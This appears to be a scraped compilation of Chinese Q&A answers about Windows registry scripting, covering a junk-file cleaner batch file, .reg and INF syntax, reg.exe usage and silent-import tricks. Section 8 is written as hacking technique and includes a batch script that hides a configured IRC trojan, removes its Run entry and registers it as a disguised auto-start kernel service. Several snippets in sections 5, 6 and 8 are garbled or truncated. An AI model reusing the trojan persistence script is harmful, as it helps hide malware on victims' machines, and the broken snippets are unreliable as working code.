注冊表腳本

1. 求一個清理注冊表的bat

2.
在電腦屏幕的左下角按「開始→程序→附件→記事本」，把下面的文字復制進去（黑色部分），點「另存為」，路徑選「桌面」，保存類型為「所有文件」，文件名為「清除系統LJ.bat」，就完成了。記住後綴名一定要是.bat，ok！你的垃圾清除器就這樣製作成功了！
雙擊它就能很快地清理垃圾文件，大約一分鍾不到。

======就是下面的文字(這行不用復制)=============================

@echo off
echo 正在清除系統垃圾文件，請稍等......
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 清除系統LJ完成！
echo. & pause

=====到這里為止(這行不用復制)==============================================
以後只要雙擊運行該文件，當屏幕提示「清除系統LJ完成！就還你一個「苗條」的系統了！！到時候再看看你的電腦，是不是急速如飛呢？可別忘了回帖喔！

註：LJ就是垃圾的意思！這招比那些所謂的優化大師好用！最重要的是無論在公司默認的系統環境還是在自己家中的電腦都不會破壞系統文件

我的絕對正確 給分吧！

2. 怎樣編寫注冊表導入腳本文件

命令編寫注冊表文件修改注冊表項
1、何謂REG文件

REG文件實際上是一種注冊表腳本文件，雙擊REG文件即可將其中的數據導入到注冊表中。利用REG文件我們可以直接對注冊表進行任何修改操作，它對注冊表的操作可以不受注冊表編輯器被禁用的限制，因此功能更為強大、靈活，另外，由於REG文件可以用任何文本文件編輯工具(例如記事本)進行修改，因此通過它對注冊表數據進行修改後，如果發生錯誤，還可以通過改回REG文件中的數據後再導入，從而實現恢復操作，因此它又較之直接用注冊表編輯器修改更安全，所以熟練掌握REG文件的運用，有時可以起到事半功倍、意想不到的效果。
2、創建REG文件
REG文件的創建是非常簡單的，可以通過任何一個文本文件編輯工具來實現。我們就以創建一個可以解除注冊表禁用限制的REG文件restore.reg為例來介紹一下具體過程。
打開記事本，在記事本文件中輸入以下內容：
REGEDIT4
空一行
[HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼CurrentVersion＼Policies＼System]"DisableRegistryTools"=dword: 00000000
保存此文件，在打開的「另存為」對話框中選擇好保存路徑，再單擊「保存類型」中的下拉箭頭選擇「所有文件」(一定要選擇此步，不然保存後的文件會自動加上TXT的擴展名)，然後在「文件名」中輸入「restore.reg」後按「保存」按鈕。以後你就可以通過雙擊這個restore.reg來直接解除禁用注冊表的限制。
3、對REG文件進行修改
我們在利用REG文件對注冊表進行操作時，要操作的對象有兩種：一種是對主鍵進行操作，一種是對主鍵下的鍵值項目進行操作。對主鍵的操作有添加、刪除兩種，而對鍵值項目的操作則分為添加、修改和刪除三種。下面我們就一個一個來實現。
1、對主鍵的操作
(1)添加主鍵
要想利用REG文件在注冊表中添加一個主鍵是非常方便的，只需要在文件體部分直接以「[ ]」的形式寫上要添加的主鍵路徑即可。
例如：在HKEY_LOCAL_MACHINE＼Software主鍵下添加一個名稱為「軟體工作室」的主鍵，內容如下：
REGEDIT4
空一行
[HKEY_LOCAL_MACHINE＼Software＼軟體工作室]

(2)刪除主鍵
要用REG文件在注冊表中刪除一個主鍵，在文件體部分「[ ]」括起來的主鍵路徑前面加上一個「-」符號即可，刪除主鍵操作將會一並刪除該主鍵下的所有子鍵及其鍵值項目，所以這是個比較危險的命令，使用要十分注意。例如要刪除我們剛才添加的那個主鍵，內容如下：
REGEDIT4
空一行
[-HKEY_LOCAL_MACHINE＼Software＼軟體工作室]
2、對鍵值項目的操作
(1)添加鍵值項目
添加鍵值項目的操作如同注冊表編輯器中的「新建」命令，一般來說，鍵值的數據類型分為三種：字元串值、二進制值和DWORD值。在REG文件中我們也要設置添加的鍵值項目的數據類型，如果要添加字元串值，則「=」號後邊要用英文的雙引號引住數據；如果添加的為DWORD類型值，「=」號後邊的格式為「dword:數據」；如果添加的為二進制值，「=」號後邊則為「hex:數據」。要設置默認值的鍵值數據時，「=」號前邊的鍵值名稱應為「@」符號，並且沒有雙引號。
例如我們要在「HKEY_LOCAL_MACHINE＼Software＼軟體工作室」主鍵下設置默認鍵值為「工作室」，並分別添加「姓名」鍵值項目(字元串值)、「年齡」鍵值項目(二進制值)、「婚否」鍵值項目(DWORD值)。相應的REG文件內容如下：
REGEDIT4
空一行
[HKEY_LOCAL_MACHINE＼Software＼軟體工作室]
@="工作室"
"姓名"="徐徐徐"
"年齡"=hex:23
"婚否"=dword:00000000
在添加鍵值項目時，如果該鍵值所在的主鍵路徑不存在的話，在添加鍵值項目的同時會自動新建該主鍵。另外在添加字元串值的鍵值項目時還有一點值得注意的地方，當這個字元串值是包括文件路徑的字元串值時，路徑分隔符應用「＼＼」雙斜杠表示，以示和注冊表中的主鍵路徑分隔符區別開來。例如我們要在注冊中「HKEY_LOCAL_MACHINE＼Software＼Microsoft＼Windows＼CurrentVersion＼
Run」主鍵下的啟動組中添加位於「C:＼PROGRAM FILES＼BOOBSOFT＼屏幕保護控制器」目錄下的一個應用程序「屏幕保護控制器.exe」的啟動鍵值項目，REG文件內容如下：
REGEDIT4
空一行
[HKEY_LOCAL_MACHINE＼Software＼Microsoft＼Windows＼CurrentVersion＼Run]
"scr"="C:＼＼PROGRAMILES＼＼BOOBSOFT＼＼屏幕保護控制器＼＼屏幕保護控制器.exe"
(2)修改鍵值項目
其實修改和添加很類似，對於已經存在的鍵值項目，我們要修改其數據時，只需要將正確的數據賦予對應的鍵值項目即可，新的數據會自動覆蓋錯誤的舊數據，例如，當某些惡意網頁修改了你的IE標題欄文字，在標題欄中總是顯示那個網站的廣告文字，很討厭，我們知道修改IE標題欄文字是通過「HKEY_CURRENT_USER＼Software＼
Microsoft＼Internet Explorer＼Main」主鍵下的「Window Title」鍵值的數據進行設置的，那麼我們就可以通過REG文件改回默認的IE標題欄文字。
REGEDIT4
空一行
[HKEY_CURRENT_USER＼Software＼Microsoft＼Internet Explorer＼Main]
"Window Title"=""
(3)刪除鍵值項目
用REG文件刪除鍵值項目也是很方便的，和刪除主鍵相類似，也是通過「=」號實現的，不過這次不是加在前面，而是把「-」符號放在鍵值項目的等號後面。例如一些惡意網頁在修改IE標題欄等設置的同時，還修改了開始菜單相關的鍵值項目數據，使得開始菜單中的「運行」、「查找」、「關閉」等命令都不見了，導入下面的這個REG文件刪除相應的鍵值項目後就可以找回開始菜單中的這些命令了。
REGEDIT4
空一行
[HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼CurrentVersion＼Policies＼Explorer]
"NoRun"=-(解除「運行」命令)
"NoClose"=-(找回「關閉系統」命令)
"NoFind"=-(找回「查找」命令)

4、將REG文件中的數據導入到注冊表中
導入信息
當我們雙擊REG文件時，系統會首先提示「確實要把XXX.REG內的信息添加到注冊表嗎？」的詢問對話框，單擊「是」按鈕，系統就會按照REG文件中所描述的操作對注冊表進行修改，完成以後並會給出提示「XXX.REG中的信息已經成功輸入注冊表」，把REG文件中的信息導入注冊表的操作稱為「合並」。
修改默認值
在REG文件上單擊滑鼠右鍵，有三個命令是關於REG文件的：合並、Print、編輯，以粗體顯示的就是「合並」操作，這也是默認的打開方式，也就是雙擊時執行的操作。如果你不想讓雙擊REG文件時執行「合並」的操作，你可以更改它的默認打開方式為「編輯」。打開資源管理器，單擊「查看」菜單中的「文件夾選項」命令，在打開的對話框中單擊「文件類型」標簽，然後在「已注冊的文件類型」列表中找到並選中「注冊表項目」，從下面的「打開方式」我們也可以看出：原來REG文件默認的「合並」操作關聯的是注冊表編輯器Regedit呀!接下來點擊「編輯」按鈕，打開「編輯文件類型」對話框，然後選擇「操作」列表中的「編輯」，再點擊「設為默認值」按鈕即可，以後雙擊REG文件時就會用記事本來打開進行編輯。
在這里筆者順便告訴大家一個獨門絕技，如果你希望REG文件在導入時沒有任何提示，你可以在圖4所示的對話框中選中「合並」，然後單擊「編輯」按鈕，在彈出對話框的命令行中輸入「regedit.exe/s "%1"」即可，這是使用了注冊表編輯器Regedit的一個被稱為安靜導入模式的隱藏參數「/S」，在導入REG文件時如果加上「/S」參數，系統就不會再彈出任何提示對話框而直接導入了。

解除禁用
有時在某些電腦中設置了禁用注冊表編輯器後，為了防止一些電腦高手使用REG文件，來解除對注冊表編輯器的限制，會讓REG文件的默認打開程序設置為其他無關程序，當然這時可以通過修改「文件夾選項」中的相關設置改回來，但還有一種更絕的辦法可以使REG文件不能用系統默認的方式打開。
運行注冊表編輯器，將「HKEY_CLASSES_ROOT.reg」下的默認值改為「txtfile」，這時REG文件的打開方式都指向了TXT文本文件。這樣更改後不知道的人即使修改「文件夾類型」中的「注冊表項目」設置也無法改回來，當然這時系統也已經禁用了注冊表編輯器，你是無法通過注冊表編輯器修改了。但經過筆者的研究發現還有一種方法可以破解這種禁用REG文件。我們可以在編輯好的REG文件上按住「Shift」鍵的同時單擊滑鼠右鍵，這時系統會讓你重新選擇打開方式，從中選取用注冊表編輯器Regedit打開就可以將REG文件導入注冊表
來源：http://wenku..com/link?url=_

3. 如何寫一個腳本文件打開注冊表及網頁

新建.TXT文件輸入（不要用中文輸入法）： path=%path%;C:.exe startiexplorehttp://www..com start""regedit 另存為**.bat文件就行。 我寫了一個，放在網路網盤的，你可以下載試試。 鏈接：http://pan..com/s/1skPBUnr密碼：swe9

4. 想用.bat腳本查詢一個注冊表的值

@echooff
set/pa=請輸入ID號：
regquery"HKEY_LOCAL_MACHINE\%a%-Tcp"/vPortNumber
pause

試試代碼，不對我再改改

5. 怎麼樣用腳本文件簡單修改注冊表

HKCU,CONTROL PANEL\DESKTOP,SMOOTHSCROLL,1,01,00,00,00

HKCU,CONTROL PANEL\DESKTOP,SCREENSAVEUSEPASSWORD,1,00,00,00,00[MY.DEL.REG]

HKCU,MYKEY

HKLM,SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINLOGON,DEFAULTUSERNAME

HKLM,SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINLOGON,DEFAULTUSERNAME1.[VERSION] 是文件頭。

SIGNATURE=$CHICAGO$ 是指針對WINDOWS（CHICAGO是WINDOWS95的內部名稱）

要編輯注冊表必須以這兩句開頭。

2、[DEFAULTINSTALL]段指出INF文件包含的其他段，ADDREG 和DELREG是鍵，有特殊意義，他指出要添加或刪除的注冊表項段名

3、WINDOWS98總是先處理DELREG段，後處理ADDREG段，這可能會對我們的應用有所幫助。

[MY.ADD.REG]

HKCU，MYKEY，MYVALUE，0，「STRING」 添加名為MYVALUE的字元串值項到鍵MYKEY下，其值設為STRING

HKCU，MYKEY，MYVALUE，，STRING 添加名為MYVALUE的字元串值項到MYKEY，將其值設為STRING

HKCU，MYKEY，MYVALUE，1，77，34，05，20添加名為MYVALUE的二進制值項到鍵MYKEY下，其值設為二進制值77，34，05，20

HKCU,MYKEY,0,」DEFAULT VALUE」 設置鍵MYKEY的預設值項為字元串DEFAULT VALUE

HKCU,MYKEY,,」DEFAULT VALUE」 設置鍵MYKEY的預設值項並將其值設為字元串DEFAULT VALUE

HKCU,MYKEY 添加註冊表鍵MYKEY但不設置其值[MY.DEL.REG]

HKCU,MYKEY,MYVALUE 從鍵MYKEY 中刪除值項MYVALUE

HKCU,MYKEY 刪除鍵MYKEY及其全部子鍵,即刪除全部分支.下面是一個自動清除MRU記錄的INF文件:

CLEAN.INF

[VERSION]

SIGNATURE=$CHICAGO$[DEFAULTINSTALL]

DELREG=DELTEGKEY[DELREGKEY]

HKCU,」SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DOC FIND SPEC MRU」,

HKCU, SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FINDCOMPUTERMRU,

HKCU, SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\RECENTDOCS,

HKCU, SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\RUNMRU清除MRU和WINDOWS\RENCENT 的批處理文件

CLEAN.BAT

@ECHO OFF

C:\WINDOWS\RUNDLL.EXE SETUPX.DLL,INSTALLHINFSECTION DEFAULTINSTALL 132 CLEAN.INF

ECHOY |ERASE C:\WINDOWS\RECENT

各位可將CLEAN.BAT 加入HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN中讓電腦自動在啟動時完成任務.

6. 用腳本修改注冊表

可以調用reg命令，默認分隔符是

CreateObject("WScript.Shell").Run"/v""SecurityPackages""/tREG_MULTI_SZ/dkerberosmsv1_0schannelwdigesttspkg/f",0,True

或者用WMI方法

ConstHKLM=&H80000002
SetoReg=GetObject("winmgmts:\.
ootdefault:StdRegProv")
oReg.SetMultiStringValueHKLM,"","SecurityPackages",Array("kerberos","msv1_0","schannel","wdigest","tspkg")

7. CMD命令.bat腳本修改注冊表

1.「批處理普通操作」
ex：
@echo windows registry Editor Version 5.00 >>abc.reg
@echo.
@echo [hkey_local_machine\software\ttt] >>abc.reg
@echo "name"="my reg" >>abc.reg
@echo "type"=dword:00000002 >>abc.reg
@regedit /s abc.reg
@del /q abc.reg
@pause 導入完成！
注*
將內容無提示導入注冊表：regedit.exe /s "%1"

2.」批處理專有命令操作注冊表」
命令格式：reg operation
operation分類：
1.add ：加入新的鍵
語法：reg add [\\主機名\] 鍵 [/v 鍵值名|/ve] [/t 類型] [/s 分隔符] [/d 數據] [/f]
如果省略主機名，默認為你目前的機器。鍵例如：[rootkey\] key
四大根鍵簡寫為：HKCR,HKLM,HKCU,HKCC
參數解釋：
/v 鍵值名中如果有空格，則字元串加引號
/ve 加入空鍵值名
/f 覆蓋當前所有信息
/d 將數據賦給鍵值項
2.delete：刪除一個鍵值或子鍵
格式：reg delete [\\主機名\] 鍵 [/v 鍵值名|/ve|/va] [/f]
參數解釋：
/v 指定刪除的鍵值名
/ve 刪除空名鍵值
/va 刪除該鍵下所有鍵值
/f 強制刪除
3.query：顯示根鍵，子鍵或其鍵的集合的信息
格式：reg query [\\主機名\] 鍵 [/v 鍵值名|/ve] [/s]
參數解釋：
/v 顯示的鍵值名稱
/ve 顯示無名鍵值
/s 顯示指定鍵名下所有鍵

注1*reg文件數據類型：（add命令的參數「/t」解釋）
/t reg數據類型
有以下幾種
REG_SZ
REG_MULTI_SZ
REG_DWORD_BIG_ENDIAN
REG_DWORD
REG_BINARY
REG_DWORD_LITTLE_ENDIAN
REG_NONE
REG_EXPAND_SZ
注2*創建「字元串類型」鍵值時，如果包含路徑，則路徑分隔符「\」換成雙斜杠「\\」
在reg文件中，「默認」鍵值 用「@」表示，且不加引號「"」。
以上就是我所掌握的批處理操作注冊表的兩種方法，希望對你有幫助~

8. 如何利用批處理命令刪除注冊表

如何用批處理文件來操作注冊表

在入侵過程中經常回操作注冊表的特定的鍵值來實現一定的目的，例如:為了達到隱藏後門、木馬程序而刪除Run下殘余的鍵值。或者創建一個服務用以載入後門。當然我們也會修改注冊表來加固系統或者改變系統的某個屬性，這些都需要我們對注冊表操作有一定的了解。下面我們就先學習一下如何使用.REG文件來操作注冊表.(我們可以用批處理來生成一個REG文件)

關於注冊表的操作，常見的是創建、修改、刪除。

1.創建

創建分為兩種，一種是創建子項(Subkey)

我們創建一個文件，內容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

然後執行該腳本，你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字為「hacker」的子項。

另一種是創建一個項目名稱

那這種文件格式就是典型的文件格式，和你從注冊表中導出的文件格式一致，內容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"

"Door"=C:\\WINNT\\system32\\door.exe

"Autodos"=dword:02

這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下

新建了:Invader、door、about這三個項目

Invader的類型是「String Value」

door的類型是「REG SZ Value」

Autodos的類型是「DWORD Value」
2.修改

修改相對來說比較簡單，只要把你需要修改的項目導出，然後用記事本進行修改，然後導入（regedit /s）即可。

3.刪除

我們首先來說說刪除一個項目名稱，我們創建一個如下的文件：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Ex4rch"=-

執行該腳本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被刪除了；

我們再看看刪除一個子項，我們創建一個如下的腳本：

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

執行該腳本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經被刪除了。
相信看到這里，.reg文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容的.reg文件了，記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。
samlpe1:如上面的那個例子,如想生成如下注冊表文件

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Invader"="Ex4rch"

"door"=hex:255

"Autodos"=dword:000000128

只需要這樣：

@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg

@echo "Invader"="Ex4rch">>Sample.reg

@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg

@echo "Autodos"=dword:02>>Sample.reg

samlpe2:

我們現在在使用一些比較老的木馬時,可能會在注冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值用來實現木馬的自啟動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查殺,相對地若是將木馬程序注冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為windrv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll

@echo "windsnx "=- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe

@regedit /s patch.dll

@delete patch.dll

@REM [刪除DSNXDE在注冊表中的啟動項，用sc.exe將之注冊為系統關鍵性服務的同時將其屬性設為隱藏和只讀，並config為自啟動]

9. 如何自動刪除注冊表制定內容

比如你刪除
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\CoralQQ]

[HKEY_LOCAL_MACHINE\SOFTWARE\CoralQQ\Config]
"Time1"=dword:00000060
"PlugIns.xml"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\CoralQQ\Coop]

[HKEY_LOCAL_MACHINE\SOFTWARE\CoralQQ\Update]
"LastUpdate1"=dword:4693a7ab
"PlugIns.xml_N"="1.0.0.0"
"PlugIns.xml"="1.0.0.0"

只要在其前面加個"-"號就可以自動刪除這些指定的內容
Windows Registry Editor Version 5.00

-[HKEY_LOCAL_MACHINE\SOFTWARE\CoralQQ]

-[HKEY_LOCAL_MACHINE\SOFTWARE\CoralQQ\Config]
"Time1"=dword:00000060
"PlugIns.xml"=dword:00000001

-[HKEY_LOCAL_MACHINE\SOFTWARE\CoralQQ\Coop]

-[HKEY_LOCAL_MACHINE\SOFTWARE\CoralQQ\Update]
"LastUpdate1"=dword:4693a7ab
"PlugIns.xml_N"="1.0.0.0"
"PlugIns.xml"="1.0.0.0"